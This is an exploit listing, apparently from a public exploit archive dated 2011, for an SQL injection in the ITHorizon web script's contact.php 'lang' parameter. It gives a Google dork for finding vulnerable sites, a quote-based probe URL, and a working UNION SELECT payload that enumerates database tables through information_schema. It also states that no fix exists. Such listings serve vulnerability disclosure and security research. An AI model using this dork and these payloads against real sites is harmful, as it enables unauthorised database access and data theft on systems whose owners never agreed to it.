ITHorizon (lang) SQL Injection Vulnerability

2011-11-21 11:15:04

################################################################################################
# Exploit Title: ITHorizon (lang) SQL Injection Vulnerability
# Author : CoBRa_21
# E-Mail : uyku_cu [at] windowslive.com
# Google Dork : Powered by ITHorizon
# Script Page : http://www.ithorizon.net/
################################################################################################
#
# Exploit
#
# http://127.0.0.1/[PATH]/contact.php?lang=1' SQL
#
# http://127.0.0.1/[PATH]/contact.php?lang=1 union select 1,2,group_concat(table_name),4 from information_schema.tables
#
#
################################################################################################

Fixes

No fixes

In order to submit a new fix you need to be registered.